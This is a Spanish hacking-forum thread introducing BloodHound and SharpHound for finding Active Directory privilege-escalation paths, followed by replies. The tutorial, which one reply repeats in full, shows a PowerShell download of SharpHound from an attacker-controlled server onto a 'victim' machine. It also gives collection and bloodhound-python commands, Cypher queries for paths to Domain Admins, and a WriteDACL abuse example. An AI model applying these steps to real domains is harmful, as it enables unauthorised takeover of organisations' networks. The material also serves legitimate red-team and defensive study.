🩸Introducción al active directory usando BloodHound🩸


MatarFuma

Miembro muy activo
¿Qué coño es BloodHound?
BloodHound es esa herramienta que te deja ver el Active Directory desde arriba, como si estuvieras en Google Maps pero en lugar de tráfico, ves rutas hacia el Domain Admin.
Lo que hace es simple: mapea relaciones entre usuarios, grupos, ACLs, sesiones, delegaciones, etc.
Y con eso, te dibuja caminos para escalar privilegios sin tener que lanzar ningún solo exploit.

Componentes clave
Para que esto funcione necesitas dos piezas:
  • SharpHound: el recolector de datos. Es el que corre en las máquinas dentro del dominio y recoge toda la información.
  • BloodHound: la interfaz gráfica donde vas a ver el grafo de relaciones. Aquí es donde se pone interesante.

Flujo de trabajo paso a paso
Lo primero es soltar SharpHound en alguna máquina que esté logueada al dominio. Puede ser con Powershell, como un EXE standalone, o con CobaltStrike.
Supongamos que ya tienes una shell en la máquina víctima.

1. Descarga SharpHound y ejecuta la recolección completa
Invoke-WebRequest -Uri "http://tu-servidor/SharpHound.exe" -OutFile "C:\Users\Public\SharpHound.exe"
SharpHound.exe -c all

Esto te va a sacar ficheros .zip con toda la grasa:
  • Grupos y membresías
  • ACLs de objetos
  • Delegaciones
  • Sesiones activas (quién está logueado dónde)
  • Relaciones de confianza entre dominios
El flag -c all lo hace todo. Pero si quieres ahorrar algo de tiempo usa: SharpHound.exe -c session acl localgroup trust

2. Subir los datos a BloodHound
Ahora en tu máquina atacante (Kali, Parrot, lo que uses), lanzas BloodHound: bloodhound
Usa neo4j como db backend y lanza queries con Cypher para extraer relaciones complejas: neo4j console
Cuando entres a la app de BloodHound, te logueas con:
  • usuario: neo4j
  • contraseña: neo4j (cambia esto luego, me cago en toda mi puta madre)
Arrastras el .zip generado por SharpHound y lo cargas en la interfaz.

3. Analizar y flipar con los resultados

Ahora viene lo divertido: mirar el grafo.
Ejemplos reales de cosas que puedes encontrar:
  • Este usuario tiene WriteDACL sobre un grupo.
  • Ese grupo tiene dentro un Domain Admin.
  • Resultado: Escalada en dos clics.
Puedes buscar rutas así:
  • “¿Puede este usuario resetear contraseñas?”
  • “¿Tiene permisos de escritura sobre otro objeto?”
  • “¿Puede acceder a un admin de dominio indirectamente?”

Teniendo toda esta información como lo podríamos aplicar, aquí les dejo un ejemplo para que lo puedan entender mejor (como les mimo eh)
El usuario juan.empresas tiene permisos WriteDACL sobre el grupo IT-Helpdesk, que a su vez tiene dentro al usuario admin.dom.
Traducción: Juan puede modificar los permisos del grupo y meter un usuario suyo con permisos de admin. Luego usurpación, persistencia y fiesta.

Así se ve el camino:

pgsql
CopiarEditar
juan.empresas

└── WriteDACL →
IT-Helpdesk
└── Member →
admin.dom (Domain Admin)

Usando Cypher
BloodHound usa Cypher para hacer consultas avanzadas. Aquí van unas queries útiles:

¿Qué usuarios pueden hacer GenericAll sobre otros?
MATCH (n:User)-[r:GenericAll]->(m) RETURN n.name, m.name

Usuarios que pueden hacer AddMember a grupos:
MATCH (u:User)-[:AddMember]->(g:Group) RETURN u.name, g.name

Todas las rutas hacia Domain Admins desde un usuario específico:
MATCH p=shortestPath( (n:User {name:"ACME\\juan.empresas"})-[*1..]->(m:Group {name:"ACME\\Domain Admins"}) ) RETURN p

Consejito de regalo

  • Usa SharpHound desde un usuario normal. No hace falta ser admin para liarla.
  • Hay scripts en PowerView que pueden ayudarte a detectar si te están usando BloodHound en contra. Ojito si eres defensor.
 

ElMetralletas

Miembro muy activo
Gracias por el aporte! Que pintaza!
¿Qué coño es BloodHound?
BloodHound es esa herramienta que te deja ver el Active Directory desde arriba, como si estuvieras en Google Maps pero en lugar de tráfico, ves rutas hacia el Domain Admin.
Lo que hace es simple: mapea relaciones entre usuarios, grupos, ACLs, sesiones, delegaciones, etc.
Y con eso, te dibuja caminos para escalar privilegios sin tener que lanzar ningún solo exploit.

Componentes clave
Para que esto funcione necesitas dos piezas:
  • SharpHound: el recolector de datos. Es el que corre en las máquinas dentro del dominio y recoge toda la información.
  • BloodHound: la interfaz gráfica donde vas a ver el grafo de relaciones. Aquí es donde se pone interesante.

Flujo de trabajo paso a paso
Lo primero es soltar SharpHound en alguna máquina que esté logueada al dominio. Puede ser con Powershell, como un EXE standalone, o con CobaltStrike.
Supongamos que ya tienes una shell en la máquina víctima.

1. Descarga SharpHound y ejecuta la recolección completa
Invoke-WebRequest -Uri "http://tu-servidor/SharpHound.exe" -OutFile "C:\Users\Public\SharpHound.exe"
SharpHound.exe -c all

Esto te va a sacar ficheros .zip con toda la grasa:
  • Grupos y membresías
  • ACLs de objetos
  • Delegaciones
  • Sesiones activas (quién está logueado dónde)
  • Relaciones de confianza entre dominios
El flag -c all lo hace todo. Pero si quieres ahorrar algo de tiempo usa: SharpHound.exe -c session acl localgroup trust

2. Subir los datos a BloodHound
Ahora en tu máquina atacante (Kali, Parrot, lo que uses), lanzas BloodHound: bloodhound
Usa neo4j como db backend y lanza queries con Cypher para extraer relaciones complejas: neo4j console
Cuando entres a la app de BloodHound, te logueas con:
  • usuario: neo4j
  • contraseña: neo4j (cambia esto luego, me cago en toda mi puta madre)
Arrastras el .zip generado por SharpHound y lo cargas en la interfaz.

3. Analizar y flipar con los resultados

Ahora viene lo divertido: mirar el grafo.
Ejemplos reales de cosas que puedes encontrar:
  • Este usuario tiene WriteDACL sobre un grupo.
  • Ese grupo tiene dentro un Domain Admin.
  • Resultado: Escalada en dos clics.
Puedes buscar rutas así:
  • “¿Puede este usuario resetear contraseñas?”
  • “¿Tiene permisos de escritura sobre otro objeto?”
  • “¿Puede acceder a un admin de dominio indirectamente?”

Teniendo toda esta información como lo podríamos aplicar, aquí les dejo un ejemplo para que lo puedan entender mejor (como les mimo eh)

Traducción: Juan puede modificar los permisos del grupo y meter un usuario suyo con permisos de admin. Luego usurpación, persistencia y fiesta.

Así se ve el camino:

pgsql
CopiarEditar
juan.empresas

└── WriteDACL →
IT-Helpdesk
└── Member →
admin.dom (Domain Admin)

Usando Cypher
BloodHound usa Cypher para hacer consultas avanzadas. Aquí van unas queries útiles:

¿Qué usuarios pueden hacer GenericAll sobre otros?
MATCH (n:User)-[r:GenericAll]->(m) RETURN n.name, m.name

Usuarios que pueden hacer AddMember a grupos:
MATCH (u:User)-[:AddMember]->(g:Group) RETURN u.name, g.name

Todas las rutas hacia Domain Admins desde un usuario específico:
MATCH p=shortestPath( (n:User {name:"ACME\\juan.empresas"})-[*1..]->(m:Group {name:"ACME\\Domain Admins"}) ) RETURN p

Consejito de regalo

  • Usa SharpHound desde un usuario normal. No hace falta ser admin para liarla.
  • Hay scripts en PowerView que pueden ayudarte a detectar si te están usando BloodHound en contra. Ojito si eres defensor.
 

Matamataos

The Anxious Generation
Noderador
Nodero
Noder
Muy bueno tío, hubiera estado guapo que explicarás como usarlo realmente, capturas de relaciones, explicaciones de path que el mismo bloodhound te hecha una mano, igualmente POSTAZO tio.

También como añadir no es necesario tener una shell o acceso directo al PC para tirar un bloodhound, se puede si tienes unas credenciales válidas y los permisos correctos.

Bloodhound.py


sudo bloodhound-python -u 'usuario' -p 'Contraseña' -ns Ip-dc -d dominio.com -c all

Sigue así coñooo!! ole
 

4444rrrr

Apaleador de jovenlandeses profesional.
Burgués de Nodo
Noderador
Nodero
Noder
Mis dieces por el aporte si señor.
Contenido top.